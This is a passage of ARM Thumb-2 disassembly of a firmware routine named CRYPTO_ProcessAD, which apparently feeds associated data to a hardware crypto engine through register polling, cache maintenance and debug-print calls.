r2, [r7, #88] ; 0x58 10104abc: f000 82f0 beq.w 101050a0 <CRYPTO_ProcessAD+0x634> 10104ac0: 7a7b ldrb r3, [r7, #9] 10104ac2: 2b01 cmp r3, #1 10104ac4: f000 82ec beq.w 101050a0 <CRYPTO_ProcessAD+0x634> 10104ac8: 9b00 ldr r3, [sp, #0] 10104aca: f003 010f and.w r1, r3, #15 10104ace: 9b10 ldr r3, [sp, #64] ; 0x40 10104ad0: f003 020f and.w r2, r3, #15 10104ad4: 424b negs r3, r1 10104ad6: f003 030f and.w r3, r3, #15 10104ada: 65fb str r3, [r7, #92] ; 0x5c 10104adc: 4253 negs r3, r2 10104ade: f003 030f and.w r3, r3, #15 10104ae2: 657b str r3, [r7, #84] ; 0x54 10104ae4: 693b ldr r3, [r7, #16] 10104ae6: 3301 adds r3, #1 10104ae8: 61f9 str r1, [r7, #28] 10104aea: 623a str r2, [r7, #32] 10104aec: f000 82ec beq.w 101050c8 <CRYPTO_ProcessAD+0x65c> 10104af0: 6b7b ldr r3, [r7, #52] ; 0x34 10104af2: 9a00 ldr r2, [sp, #0] 10104af4: 4413 add r3, r2 10104af6: 637b str r3, [r7, #52] ; 0x34 10104af8: 6afb ldr r3, [r7, #44] ; 0x2c 10104afa: 2c00 cmp r4, #0 10104afc: f000 84de beq.w 101054bc <CRYPTO_ProcessAD+0xa50> 10104b00: 2201 movs r2, #1 10104b02: f04f 46e0 mov.w r6, #1879048192 ; 0x70000000 10104b06: f887 2031 strb.w r2, [r7, #49] ; 0x31 10104b0a: 4993 ldr r1, [pc, #588] ; (10104d58 <CRYPTO_ProcessAD+0x2ec>) 10104b0c: 694a ldr r2, [r1, #20] 10104b0e: 03d0 lsls r0, r2, #15 10104b10: f363 0607 bfi r6, r3, #0, #8 10104b14: d512 bpl.n 10104b3c <CRYPTO_ProcessAD+0xd0> 10104b16: 3320 adds r3, #32 10104b18: f3bf 8f4f dsb sy 10104b1c: 2b00 cmp r3, #0 10104b1e: bfc8 it gt 10104b20: f024 021f bicgt.w r2, r4, #31 10104b24: dd06 ble.n 10104b34 <CRYPTO_ProcessAD+0xc8> 10104b26: 3b20 subs r3, #32 10104b28: 2b00 cmp r3, #0 10104b2a: f8c1 225c str.w r2, [r1, #604] ; 0x25c 10104b2e: f102 0220 add.w r2, r2, #32 10104b32: dcf8 bgt.n 10104b26 <CRYPTO_ProcessAD+0xba> 10104b34: f3bf 8f4f dsb sy 10104b38: f3bf 8f6f isb sy 10104b3c: 4b83 ldr r3, [pc, #524] ; (10104d4c <CRYPTO_ProcessAD+0x2e0>) 10104b3e: e843 f200 tt r2, r3 10104b42: 4b81 ldr r3, [pc, #516] ; (10104d48 <CRYPTO_ProcessAD+0x2dc>) 10104b44: f412 0f80 tst.w r2, #4194304 ; 0x400000 10104b48: 4d7e ldr r5, [pc, #504] ; (10104d44 <CRYPTO_ProcessAD+0x2d8>) 10104b4a: bf08 it eq 10104b4c: 461d moveq r5, r3 10104b4e: f505 5380 add.w r3, r5, #4096 ; 0x1000 10104b52: 681a ldr r2, [r3, #0] 10104b54: f012 0fff tst.w r2, #255 ; 0xff 10104b58: f8df 820c ldr.w r8, [pc, #524] ; 10104d68 <CRYPTO_ProcessAD+0x2fc> 10104b5c: f040 8258 bne.w 10105010 <CRYPTO_ProcessAD+0x5a4> 10104b60: f8d8 2000 ldr.w r2, [r8] 10104b64: 0492 lsls r2, r2, #18 10104b66: d504 bpl.n 10104b72 <CRYPTO_ProcessAD+0x106> 10104b68: 6819 ldr r1, [r3, #0] 10104b6a: 487c ldr r0, [pc, #496] ; (10104d5c <CRYPTO_ProcessAD+0x2f0>) 10104b6c: b2c9 uxtb r1, r1 10104b6e: f7fb fc41 bl 101003f4 <DiagPrintf> 10104b72: f897 3031 ldrb.w r3, [r7, #49] ; 0x31 10104b76: f04f 44c6 mov.w r4, #1660944384 ; 0x63000000 10104b7a: b113 cbz r3, 10104b82 <CRYPTO_ProcessAD+0x116> 10104b7c: 2301 movs r3, #1 10104b7e: f363 5497 bfi r4, r3, #22, #2 10104b82: 6d3e ldr r6, [r7, #80] ; 0x50 10104b84: f507 7586 add.w r5, r7, #268 ; 0x10c 10104b88: 4b75 ldr r3, [pc, #468] ; (10104d60 <CRYPTO_ProcessAD+0x2f4>) 10104b8a: 4628 mov r0, r5 10104b8c: 2220 movs r2, #32 10104b8e: 2100 movs r1, #0 10104b90: 9601 str r6, [sp, #4] 10104b92: 6dbe ldr r6, [r7, #88] ; 0x58 10104b94: 4798 blx r3 10104b96: 693b ldr r3, [r7, #16] 10104b98: 3301 adds r3, #1 10104b9a: f000 836b beq.w 10105274 <CRYPTO_ProcessAD+0x808> 10104b9e: f897 310e ldrb.w r3, [r7, #270] ; 0x10e 10104ba2: f897 2030 ldrb.w r2, [r7, #48] ; 0x30 10104ba6: f003 03a3 and.w r3, r3, #163 ; 0xa3 10104baa: f043 0344 orr.w r3, r3, #68 ; 0x44 10104bae: f36f 1345 bfc r3, #5, #1 10104bb2: 2a01 cmp r2, #1 10104bb4: f887 310e strb.w r3, [r7, #270] ; 0x10e 10104bb8: f000 839a beq.w 101052f0 <CRYPTO_ProcessAD+0x884> 10104bbc: 7d7b ldrb r3, [r7, #21] 10104bbe: 2b00 cmp r3, #0 10104bc0: f000 832f beq.w 10105222 <CRYPTO_ProcessAD+0x7b6> 10104bc4: f897 3113 ldrb.w r3, [r7, #275] ; 0x113 10104bc8: f043 03aa orr.w r3, r3, #170 ; 0xaa 10104bcc: f887 3113 strb.w r3, [r7, #275] ; 0x113 10104bd0: 7d3b ldrb r3, [r7, #20] 10104bd2: 2b00 cmp r3, #0 10104bd4: f000 8307 beq.w 101051e6 <CRYPTO_ProcessAD+0x77a> 10104bd8: f897 310d ldrb.w r3, [r7, #269] ; 0x10d 10104bdc: f897 2031 ldrb.w r2, [r7, #49] ; 0x31 10104be0: f043 0320 orr.w r3, r3, #32 10104be4: 2a01 cmp r2, #1 10104be6: f887 310d strb.w r3, [r7, #269] ; 0x10d 10104bea: f000 84ae beq.w 1010554a <CRYPTO_ProcessAD+0xade> 10104bee: f897 310e ldrb.w r3, [r7, #270] ; 0x10e 10104bf2: f003 03fd and.w r3, r3, #253 ; 0xfd 10104bf6: 09b6 lsrs r6, r6, #6 10104bf8: f043 0380 orr.w r3, r3, #128 ; 0x80 10104bfc: f8a7 6116 strh.w r6, [r7, #278] ; 0x116 10104c00: f887 310e strb.w r3, [r7, #270] ; 0x10e 10104c04: 2340 movs r3, #64 ; 0x40 10104c06: f887 310f strb.w r3, [r7, #271] ; 0x10f 10104c0a: f8d8 3008 ldr.w r3, [r8, #8] 10104c0e: 049e lsls r6, r3, #18 10104c10: f100 8324 bmi.w 1010525c <CRYPTO_ProcessAD+0x7f0> 10104c14: 4b4d ldr r3, [pc, #308] ; (10104d4c <CRYPTO_ProcessAD+0x2e0>) 10104c16: e843 f200 tt r2, r3 10104c1a: 4b4b ldr r3, [pc, #300] ; (10104d48 <CRYPTO_ProcessAD+0x2dc>) 10104c1c: f412 0f80 tst.w r2, #4194304 ; 0x400000 10104c20: 4e48 ldr r6, [pc, #288] ; (10104d44 <CRYPTO_ProcessAD+0x2d8>) 10104c22: bf08 it eq 10104c24: 461e moveq r6, r3 10104c26: f44f 1380 mov.w r3, #1048576 ; 0x100000 10104c2a: e002 b.n 10104c32 <CRYPTO_ProcessAD+0x1c6> 10104c2c: 3b01 subs r3, #1 10104c2e: f000 83cc beq.w 101053ca <CRYPTO_ProcessAD+0x95e> 10104c32: 6832 ldr r2, [r6, #0] 10104c34: f012 0fff tst.w r2, #255 ; 0xff 10104c38: d0f8 beq.n 10104c2c <CRYPTO_ProcessAD+0x1c0> 10104c3a: f8d8 3008 ldr.w r3, [r8, #8] 10104c3e: 0498 lsls r0, r3, #18 10104c40: d504 bpl.n 10104c4c <CRYPTO_ProcessAD+0x1e0> 10104c42: 462a mov r2, r5 10104c44: 4621 mov r1, r4 10104c46: 4847 ldr r0, [pc, #284] ; (10104d64 <CRYPTO_ProcessAD+0x2f8>) 10104c48: f7fb fbd4 bl 101003f4 <DiagPrintf> 10104c4c: 6074 str r4, [r6, #4] 10104c4e: 60b5 str r5, [r6, #8] 10104c50: 687b ldr r3, [r7, #4] 10104c52: 3301 adds r3, #1 10104c54: d029 beq.n 10104caa <CRYPTO_ProcessAD+0x23e> 10104c56: f04f 44c0 mov.w r4, #1610612736 ; 0x60000000 10104c5a: 6cbe ldr r6, [r7, #72] ; 0x48 10104c5c: f8d8 3008 ldr.w r3, [r8, #8] 10104c60: 08b2 lsrs r2, r6, #2 10104c62: f362 0403 bfi r4, r2, #0, #4 10104c66: 049a lsls r2, r3, #18 10104c68: 6cfd ldr r5, [r7, #76] ; 0x4c 10104c6a: f100 834a bmi.w 10105302 <CRYPTO_ProcessAD+0x896> 10104c6e: 4b37 ldr r3, [pc, #220] ; (10104d4c <CRYPTO_ProcessAD+0x2e0>) 10104c70: e843 f200 tt r2, r3 10104c74: 4b34 ldr r3, [pc, #208] ; (10104d48 <CRYPTO_ProcessAD+0x2dc>) 10104c76: f412 0f80 tst.w r2, #4194304 ; 0x400000 10104c7a: 4e32 ldr r6, [pc, #200] ; (10104d44 <CRYPTO_ProcessAD+0x2d8>) 10104c7c: bf08 it eq 10104c7e: 461e moveq r6, r3 10104c80: f44f 1380 mov.w r3, #1048576 ; 0x100000 10104c84: e002 b.n 10104c8c <CRYPTO_ProcessAD+0x220> 10104c86: 3b01 subs r3, #1 10104c88: f000 83e0 beq.w 1010544c <CRYPTO_ProcessAD+0x9e0> 10104c8c: 6832 ldr r2, [r6, #0] 10104c8e: f012 0fff tst.w r2, #255 ; 0xff 10104c92: d0f8 beq.n 10104c86 <CRYPTO_ProcessAD+0x21a> 10104c94: f8d8 3008 ldr.w r3, [r8, #8] 10104c98: 049b lsls r3, r3, #18 10104c9a: d504 bpl.n 10104ca6 <CRYPTO_ProcessAD+0x23a> 10104c9c: 462a mov r2, r5 10104c9e: 4621 mov r1, r4 10104ca0: 4830 ldr r0, [pc, #192] ; (10104d64 <CRYPTO_ProcessAD+0x2f8>) 10104ca2: f7fb fba7 bl 101003f4 <DiagPrintf> 10104ca6: 6074 str r4, [r6, #4] 10104ca8: 60b5 str r5, [r6, #8] 10104caa: f1ba 0f00 cmp.w sl, #0 10104cae: d02c beq.n 10104d0a <CRYPTO_ProcessAD+0x29e> 10104cb0: 9b0e ldr r3, [sp, #56] ; 0x38 10104cb2: b353 cbz r3, 10104d0a <CRYPTO_ProcessAD+0x29e> 10104cb4: f04f 44c0 mov.w r4, #1610612736 ; 0x60000000 10104cb8: f8d8 3008 ldr.w r3, [r8, #8] 10104cbc: 9a0e ldr r2, [sp, #56] ; 0x38 10104cbe: 049d lsls r5, r3, #18 10104cc0: ea4f 0292 mov.w r2, r2, lsr #2 10104cc4: f362 1407 bfi r4, r2, #4, #4 10104cc8: f100 83b4 bmi.w 10105434 <CRYPTO_ProcessAD+0x9c8> 10104ccc: 4b1f ldr r3, [pc, #124] ; (10104d4c <CRYPTO_ProcessAD+0x2e0>) 10104cce: e843 f200 tt r2, r3 10104cd2: 4b1d ldr r3, [pc, #116] ; (10104d48 <CRYPTO_ProcessAD+0x2dc>) 10104cd4: f412 0f80 tst.w r2, #4194304 ; 0x400000 10104cd8: 4d1a ldr r5, [pc, #104] ; (10104d44 <CRYPTO_ProcessAD+0x2d8>) 10104cda: bf08 it eq 10104cdc: 461d moveq r5, r3 10104cde: f44f 1380 mov.w r3, #1048576 ; 0x100000 10104ce2: e002 b.n 10104cea <CRYPTO_ProcessAD+0x27e> 10104ce4: 3b01 subs r3, #1 10104ce6: f000 844e beq.w 10105586 <CRYPTO_ProcessAD+0xb1a> 10104cea: 682a ldr r2, [r5, #0] 10104cec: f012 0fff tst.w r2, #255 ; 0xff 10104cf0: d0f8 beq.n 10104ce4 <CRYPTO_ProcessAD+0x278> 10104cf2: f8d8 3008 ldr.w r3, [r8, #8] 10104cf6: 0498 lsls r0, r3, #18 10104cf8: d504 bpl.n 10104d04 <CRYPTO_ProcessAD+0x298> 10104cfa: 4652 mov r2, sl 10104cfc: 4621 mov r1, r4 10104cfe: 4819 ldr r0, [pc, #100] ; (10104d64 <CRYPTO_ProcessAD+0x2f8>) 10104d00: f7fb fb78 bl 101003f4 <DiagPrintf> 10104d04: 606c str r4, [r5, #4] 10104d06: f8c5 a008 str.w sl, [r5, #8] 10104d0a: 7d3b ldrb r3, [r7, #20] 10104d0c: 2b00 cmp r3, #0 10104d0e: d03f beq.n 10104d90 <CRYPTO_ProcessAD+0x324> 10104d10: f06f 027f mvn.w r2, #127 ; 0x7f 10104d14: f04f 44c0 mov.w r4, #1610612736 ; 0x60000000 10104d18: f8d8 3008 ldr.w r3, [r8, #8] 10104d1c: f362 240f bfi r4, r2, #8, #8 10104d20: 049a lsls r2, r3, #18 10104d22: f107 0568 add.w r5, r7, #104 ; 0x68 10104d26: f100 8301 bmi.w 1010532c <CRYPTO_ProcessAD+0x8c0> 10104d2a: 4b08 ldr r3, [pc, #32] ; (10104d4c <CRYPTO_ProcessAD+0x2e0>) 10104d2c: e843 f200 tt r2, r3 10104d30: 4b05 ldr r3, [pc, #20] ; (10104d48 <CRYPTO_ProcessAD+0x2dc>) 10104d32: f412 0f80 tst.w r2, #4194304 ; 0x400000 10104d36: 4e03 ldr r6, [pc, #12] ; (10104d44 <CRYPTO_ProcessAD+0x2d8>) 10104d38: bf08 it eq 10104d3a: 461e moveq r6, r3 10104d3c: f44f 1380 mov.w r3, #1048576 ; 0x100000 10104d40: e017 b.n 10104d72 <CRYPTO_ProcessAD+0x306> 10104d42: bf00 nop 10104d44: 50022000 .word 0x50022000 10104d48: 40022000 .word 0x40022000 10104d4c: 101003f5 .word 0x101003f5 10104d50: 101d52fc .word 0x101d52fc 10104d54: 101047f9 .word 0x101047f9 10104d58: e000ed00 .word 0xe000ed00 10104d5c: 101d49e0 .word 0x101d49e0 10104d60: 10106e89 .word 0x10106e89 10104d64: 101d4a78 .word 0x101d4a78 10104d68: 1000000c .word 0x1000000c 10104d6c: 3b01 subs r3, #1 10104d6e: f000 83e3 beq.w 10105538 <CRYPTO_ProcessAD+0xacc> 10104d72: 6832 ldr r2, [r6, #0] 10104d74: f012 0fff tst.w r2, #255 ; 0xff 10104d78: d0f8 beq.n 10104d6c <CRYPTO_ProcessAD+0x300> 10104d7a: f8d8 3008 ldr.w r3, [r8, #8] 10104d7e: 049b lsls r3, r3, #18 10104d80: d504 bpl.n 10104d8c <CRYPTO_ProcessAD+0x320> 10104d82: 462a mov r2, r5 10104d84: 4621 mov r1, r4 10104d86: 48ba ldr r0, [pc, #744] ; (10105070 <CRYPTO_ProcessAD+0x604>) 10104d88: f7fb fb34 bl 101003f4 <DiagPrintf> 10104d8c: 6074 str r4, [r6, #4] 10104d8e: 60b5 str r5, [r6, #8] 10104d90: 9b0f ldr r3, [sp, #60] ; 0x3c 10104d92: f04f 4580 mov.w r5, #1073741824 ; 0x40000000 10104d96: 2b00 cmp r3, #0 10104d98: f000 8099 beq.w 10104ece <CRYPTO_ProcessAD+0x462> 10104d9c: 9b10 ldr r3, [sp, #64] ; 0x40 10104d9e: 2b10 cmp r3, #16 10104da0: f240 8402 bls.w 101055a8 <CRYPTO_ProcessAD+0xb3c> 10104da4: 461e mov r6, r3 10104da6: 9c0f ldr r4, [sp, #60] ; 0x3c 10104da8: f04f 0a10 mov.w sl, #16 10104dac: f8d8 3008 ldr.w r3, [r8, #8] 10104db0: 0498 lsls r0, r3, #18 10104db2: f36a 250c bfi r5, sl, #8, #5 10104db6: f100 813b bmi.w 10105030 <CRYPTO_ProcessAD+0x5c4> 10104dba: 4bae ldr r3, [pc, #696] ; (10105074 <CRYPTO_ProcessAD+0x608>) 10104dbc: e843 f100 tt r1, r3 10104dc0: 4aad ldr r2, [pc, #692] ; (10105078 <CRYPTO_ProcessAD+0x60c>) 10104dc2: 4bae ldr r3, [pc, #696] ; (1010507c <CRYPTO_ProcessAD+0x610>) 10104dc4: f411 0f80 tst.w r1, #4194304 ; 0x400000 10104dc8: bf0c ite eq 10104dca: 469a moveq sl, r3 10104dcc: 4692 movne sl, r2 10104dce: f44f 1380 mov.w r3, #1048576 ; 0x100000 10104dd2: e002 b.n 10104dda <CRYPTO_ProcessAD+0x36e> 10104dd4: 3b01 subs r3, #1 10104dd6: f000 8142 beq.w 1010505e <CRYPTO_ProcessAD+0x5f2> 10104dda: f8da 2000 ldr.w r2, [sl] 10104dde: f012 0fff tst.w r2, #255 ; 0xff 10104de2: d0f7 beq.n 10104dd4 <CRYPTO_ProcessAD+0x368> 10104de4: f8d8 3008 ldr.w r3, [r8, #8] 10104de8: 0499 lsls r1, r3, #18 10104dea: d504 bpl.n 10104df6 <CRYPTO_ProcessAD+0x38a> 10104dec: 4622 mov r2, r4 10104dee: 4629 mov r1, r5 10104df0: 489f ldr r0, [pc, #636] ; (10105070 <CRYPTO_ProcessAD+0x604>) 10104df2: f7fb faff bl 101003f4 <DiagPrintf> 10104df6: f8ca 5004 str.w r5, [sl, #4] 10104dfa: f8ca 4008 str.w r4, [sl, #8] 10104dfe: 3e10 subs r6, #16 10104e00: 2e10 cmp r6, #16 10104e02: f104 0410 add.w r4, r4, #16 10104e06: f04f 4580 mov.w r5, #1073741824 ; 0x40000000 10104e0a: d8cd bhi.n 10104da8 <CRYPTO_ProcessAD+0x33c> 10104e0c: 9b10 ldr r3, [sp, #64] ; 0x40 10104e0e: 9a10 ldr r2, [sp, #64] ; 0x40 10104e10: 3b11 subs r3, #17 10104e12: 091b lsrs r3, r3, #4 10104e14: f1a2 0410 sub.w r4, r2, #16 10104e18: ebc3 7203 rsb r2, r3, r3, lsl #28 10104e1c: eb04 1402 add.w r4, r4, r2, lsl #4 10104e20: 9a0f ldr r2, [sp, #60] ; 0x3c 10104e22: 3301 adds r3, #1 10104e24: eb02 1303 add.w r3, r2, r3, lsl #4 10104e28: 930f str r3, [sp, #60] ; 0x3c 10104e2a: f8d8 3008 ldr.w r3, [r8, #8] 10104e2e: 049b lsls r3, r3, #18 10104e30: f364 250c bfi r5, r4, #8, #5 10104e34: f100 8313 bmi.w 1010545e <CRYPTO_ProcessAD+0x9f2> 10104e38: 4b8e ldr r3, [pc, #568] ; (10105074 <CRYPTO_ProcessAD+0x608>) 10104e3a: e843 f200 tt r2, r3 10104e3e: 4b8f ldr r3, [pc, #572] ; (1010507c <CRYPTO_ProcessAD+0x610>) 10104e40: f412 0f80 tst.w r2, #4194304 ; 0x400000 10104e44: 4c8c ldr r4, [pc, #560] ; (10105078 <CRYPTO_ProcessAD+0x60c>) 10104e46: bf08 it eq 10104e48: 461c moveq r4, r3 10104e4a: f44f 1380 mov.w r3, #1048576 ; 0x100000 10104e4e: e002 b.n 10104e56 <CRYPTO_ProcessAD+0x3ea> 10104e50: 3b01 subs r3, #1 10104e52: f000 83b8 beq.w 101055c6 <CRYPTO_ProcessAD+0xb5a> 10104e56: 6822 ldr r2, [r4, #0] 10104e58: f012 0fff tst.w r2, #255 ; 0xff 10104e5c: d0f8 beq.n 10104e50 <CRYPTO_ProcessAD+0x3e4> 10104e5e: f8d8 3008 ldr.w r3, [r8, #8] 10104e62: 049e lsls r6, r3, #18 10104e64: d504 bpl.n 10104e70 <CRYPTO_ProcessAD+0x404> 10104e66: 9a0f ldr r2, [sp, #60] ; 0x3c 10104e68: 4629 mov r1, r5 10104e6a: 4881 ldr r0, [pc, #516] ; (10105070 <CRYPTO_ProcessAD+0x604>) 10104e6c: f7fb fac2 bl 101003f4 <DiagPrintf> 10104e70: 9b0f ldr r3, [sp, #60] ; 0x3c 10104e72: 6065 str r5, [r4, #4] 10104e74: 60a3 str r3, [r4, #8] 10104e76: f04f 4580 mov.w r5, #1073741824 ; 0x40000000 10104e7a: 6d7b ldr r3, [r7, #84] ; 0x54 10104e7c: b33b cbz r3, 10104ece <CRYPTO_ProcessAD+0x462> 10104e7e: f8d8 2008 ldr.w r2, [r8, #8] 10104e82: 0494 lsls r4, r2, #18 10104e84: f363 250c bfi r5, r3, #8, #5 10104e88: f100 8300 bmi.w 1010548c <CRYPTO_ProcessAD+0xa20> 10104e8c: 4b79 ldr r3, [pc, #484] ; (10105074 <CRYPTO_ProcessAD+0x608>) 10104e8e: e843 f200 tt r2, r3 10104e92: 4b7a ldr r3, [pc, #488] ; (1010507c <CRYPTO_ProcessAD+0x610>) 10104e94: f412 0f80 tst.w r2, #4194304 ; 0x400000 10104e98: 4c77 ldr r4, [pc, #476] ; (10105078 <CRYPTO_ProcessAD+0x60c>) 10104e9a: 4e79 ldr r6, [pc, #484] ; (10105080 <CRYPTO_ProcessAD+0x614>) 10104e9c: bf08 it eq 10104e9e: 461c moveq r4, r3 10104ea0: f44f 1380 mov.w r3, #1048576 ; 0x100000 10104ea4: e002 b.n 10104eac <CRYPTO_ProcessAD+0x440> 10104ea6: 3b01 subs r3, #1 10104ea8: f000 8384 beq.w 101055b4 <CRYPTO_ProcessAD+0xb48> 10104eac: 6822 ldr r2, [r4, #0] 10104eae: f012 0fff tst.w r2, #255 ; 0xff 10104eb2: d0f8 beq.n 10104ea6 <CRYPTO_ProcessAD+0x43a> 10104eb4: f8d8 3008 ldr.w r3, [r8, #8] 10104eb8: 0498 lsls r0, r3, #18 10104eba: d504 bpl.n 10104ec6 <CRYPTO_ProcessAD+0x45a> 10104ebc: 4632 mov r2, r6 10104ebe: 4629 mov r1, r5 10104ec0: 486b ldr r0, [pc, #428] ; (10105070 <CRYPTO_ProcessAD+0x604>) 10104ec2: f7fb fa97 bl 101003f4 <DiagPrintf> 10104ec6: 6065 str r5, [r4, #4] 10104ec8: 60a6 str r6, [r4, #8] 10104eca: f04f 4580 mov.w r5, #1073741824 ; 0x40000000 10104ece: f643 7af0 movw sl, #16368 ; 0x3ff0 10104ed2: 9e00 ldr r6, [sp, #0] 10104ed4: 4556 cmp r6, sl 10104ed6: f240 8354 bls.w 10105582 <CRYPTO_ProcessAD+0xb16> 10104eda: 464a mov r2, r9 10104edc: 46b9 mov r9, r7 10104ede: 4617 mov r7, r2 10104ee0: 4b65 ldr r3, [pc, #404] ; (10105078 <CRYPTO_ProcessAD+0x60c>) 10104ee2: 4a64 ldr r2, [pc, #400] ; (10105074 <CRYPTO_ProcessAD+0x608>) 10104ee4: e842 f200 tt r2, r2 10104ee8: f412 0f80 tst.w r2, #4194304 ; 0x400000 10104eec: 4a63 ldr r2, [pc, #396] ; (1010507c <CRYPTO_ProcessAD+0x610>) 10104eee: bf14 ite ne 10104ef0: 461c movne r4, r3 10104ef2: 4614 moveq r4, r2 10104ef4: f36a 359b bfi r5, sl, #14, #14 10104ef8: f44f 1280 mov.w r2, #1048576 ; 0x100000 10104efc: e002 b.n 10104f04 <CRYPTO_ProcessAD+0x498> 10104efe: 3a01 subs r2, #1 10104f00: f000 80a2 beq.w 10105048 <CRYPTO_ProcessAD+0x5dc> 10104f04: 6821 ldr r1, [r4, #0] 10104f06: f011 0fff tst.w r1, #255 ; 0xff 10104f0a: d0f8 beq.n 10104efe <CRYPTO_ProcessAD+0x492> 10104f0c: f8d8 2008 ldr.w r2, [r8, #8] 10104f10: 0492 lsls r2, r2, #18 10104f12: d506 bpl.n 10104f22 <CRYPTO_ProcessAD+0x4b6> 10104f14: 463a mov r2, r7 10104f16: 4629 mov r1, r5 10104f18: 4855 ldr r0, [pc, #340] ; (10105070 <CRYPTO_ProcessAD+0x604>) 10104f1a: 9300 str r3, [sp, #0] 10104f1c: f7fb fa6a bl 101003f4 <DiagPrintf> 10104f20: 9b00 ldr r3, [sp, #0] 10104f22: 6065 str r5, [r4, #4] 10104f24: 60a7 str r7, [r4, #8] 10104f26: f5a6 567f sub.w r6, r6, #16320 ; 0x3fc0 10104f2a: 3e30 subs r6, #48 ; 0x30 10104f2c: 4556 cmp r6, sl 10104f2e: 4457 add r7, sl 10104f30: f04f 4580 mov.w r5, #1073741824 ; 0x40000000 10104f34: d8d5 bhi.n 10104ee2 <CRYPTO_ProcessAD+0x476> 10104f36: 463b mov r3, r7 10104f38: 464f mov r7, r9 10104f3a: 4699 mov r9, r3 10104f3c: 6dfb ldr r3, [r7, #92] ; 0x5c 10104f3e: 2b00 cmp r3, #0 10104f40: bf08 it eq 10104f42: f04f 45a0 moveq.w r5, #1342177280 ; 0x50000000 10104f46: 4b4d ldr r3, [pc, #308] ; (1010507c <CRYPTO_ProcessAD+0x610>) 10104f48: 4a4a ldr r2, [pc, #296] ; (10105074 <CRYPTO_ProcessAD+0x608>) 10104f4a: e842 f200 tt r2, r2 10104f4e: f412 0f80 tst.w r2, #4194304 ; 0x400000 10104f52: 4c49 ldr r4, [pc, #292] ; (10105078 <CRYPTO_ProcessAD+0x60c>) 10104f54: f366 359b bfi r5, r6, #14, #14 10104f58: bf08 it eq 10104f5a: 461c moveq r4, r3 10104f5c: f44f 1380 mov.w r3, #1048576 ; 0x100000 10104f60: e002 b.n 10104f68 <CRYPTO_ProcessAD+0x4fc> 10104f62: 3b01 subs r3, #1 10104f64: f000 8228 beq.w 101053b8 <CRYPTO_ProcessAD+0x94c> 10104f68: 6822 ldr r2, [r4, #0] 10104f6a: f012 0fff tst.w r2, #255 ; 0xff 10104f6e: d0f8 beq.n 10104f62 <CRYPTO_ProcessAD+0x4f6> 10104f70: f8d8 3008 ldr.w r3, [r8, #8] 10104f74: 0498 lsls r0, r3, #18 10104f76: d504 bpl.n 10104f82 <CRYPTO_ProcessAD+0x516> 10104f78: 464a mov r2, r9 10104f7a: 4629 mov r1, r5 10104f7c: 483c ldr r0, [pc, #240] ; (10105070 <CRYPTO_ProcessAD+0x604>) 10104f7e: f7fb fa39 bl 101003f4 <DiagPrintf> 10104f82: 6065 str r5, [r4, #4] 10104f84: f8c4 9008 str.w r9, [r4, #8] 10104f88: f8d8 3008 ldr.w r3, [r8, #8] 10104f8c: 049a lsls r2, r3, #18 10104f8e: f100 8159 bmi.w 10105244 <CRYPTO_ProcessAD+0x7d8> 10104f92: 6dfb ldr r3, [r7, #92] ; 0x5c 10104f94: b343 cbz r3, 10104fe8 <CRYPTO_ProcessAD+0x57c> 10104f96: f3c3 040d ubfx r4, r3, #0, #14 10104f9a: f8d8 3008 ldr.w r3, [r8, #8] 10104f9e: 03a5 lsls r5, r4, #14 10104fa0: 049b lsls r3, r3, #18 10104fa2: f045 45a0 orr.w r5, r5, #1342177280 ; 0x50000000 10104fa6: f100 8239 bmi.w 1010541c <CRYPTO_ProcessAD+0x9b0> 10104faa: 4b32 ldr r3, [pc, #200] ; (10105074 <CRYPTO_ProcessAD+0x608>) 10104fac: e843 f200 tt r2, r3 10104fb0: 4b32 ldr r3, [pc, #200] ; (1010507c <CRYPTO_ProcessAD+0x610>) 10104fb2: f412 0f80 tst.w r2, #4194304 ; 0x400000 10104fb6: 4c30 ldr r4, [pc, #192] ; (10105078 <CRYPTO_ProcessAD+0x60c>) 10104fb8: 4e31 ldr r6, [pc, #196] ; (10105080 <CRYPTO_ProcessAD+0x614>) 10104fba: bf08 it eq 10104fbc: 461c moveq r4, r3 10104fbe: f44f 1380 mov.w r3, #1048576 ; 0x100000 10104fc2: e002 b.n 10104fca <CRYPTO_ProcessAD+0x55e> 10104fc4: 3b01 subs r3, #1 10104fc6: f000 82d3 beq.w 10105570 <CRYPTO_ProcessAD+0xb04> 10104fca: 6822 ldr r2, [r4, #0] 10104fcc: f012 0fff tst.w r2, #255 ; 0xff 10104fd0: d0f8 beq.n 10104fc4 <CRYPTO_ProcessAD+0x558> 10104fd2: f8d8 3008 ldr.w r3, [r8, #8] 10104fd6: 049f lsls r7, r3, #18 10104fd8: d504 bpl.n 10104fe4 <CRYPTO_ProcessAD+0x578> 10104fda: 4632 mov r2, r6 10104fdc: 4629 mov r1, r5 10104fde: 4824 ldr r0, [pc, #144] ; (10105070 <CRYPTO_ProcessAD+0x604>) 10104fe0: f7fb fa08 bl 101003f4 <DiagPrintf> 10104fe4: 6065 str r5, [r4, #4] 10104fe6: 60a6 str r6, [r4, #8] 10104fe8: 4b26 ldr r3, [pc, #152] ; (10105084 <CRYPTO_ProcessAD+0x618>) 10104fea: e009 b.n 10105000 <CRYPTO_ProcessAD+0x594> 10104fec: f8db 201c ldr.w r2, [fp, #28] 10104ff0: 9203 str r2, [sp, #12] 10104ff2: 9a03 ldr r2, [sp, #12] 10104ff4: 2a00 cmp r2, #0 10104ff6: f040 80ec bne.w 101051d2 <CRYPTO_ProcessAD+0x766> 10104ffa: 3b01 subs r3, #1 10104ffc: f000 823b beq.w 10105476 <CRYPTO_ProcessAD+0xa0a> 10105000: f8db 2010 ldr.w r2, [fp, #16] 10105004: 06d1 lsls r1, r2, #27 10105006: d5f1 bpl.n 10104fec <CRYPTO_ProcessAD+0x580> 10105008: 2000 movs r0, #0 1010500a: b005 add sp, #20 1010500c: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 10105010: f8d8 3008 ldr.w r3, [r8, #8] 10105014: 0499 lsls r1, r3, #18 10105016: d504 bpl.n 10105022 <CRYPTO_ProcessAD+0x5b6> 10105018: 4622 mov r2, r4 1010501a: 4631 mov r1, r6 1010501c: 481a ldr r0, [pc, #104] ; (10105088 <CRYPTO_ProcessAD+0x61c>) 1010501e: f7fb f9e9 bl 101003f4 <DiagPrintf> 10105022: f241 0204 movw r2, #4100 ; 0x1004 10105026: f241 0308 movw r3, #4104 ; 0x1008 1010502a: 50ae str r6, [r5, r2] 1010502c: 50ec str r4, [r5, r3] 1010502e: e5a0 b.n 10104b72 <CRYPTO_ProcessAD+0x106> 10105030: 4653 mov r3, sl 10105032: 4622 mov r2, r4 10105034: 4915 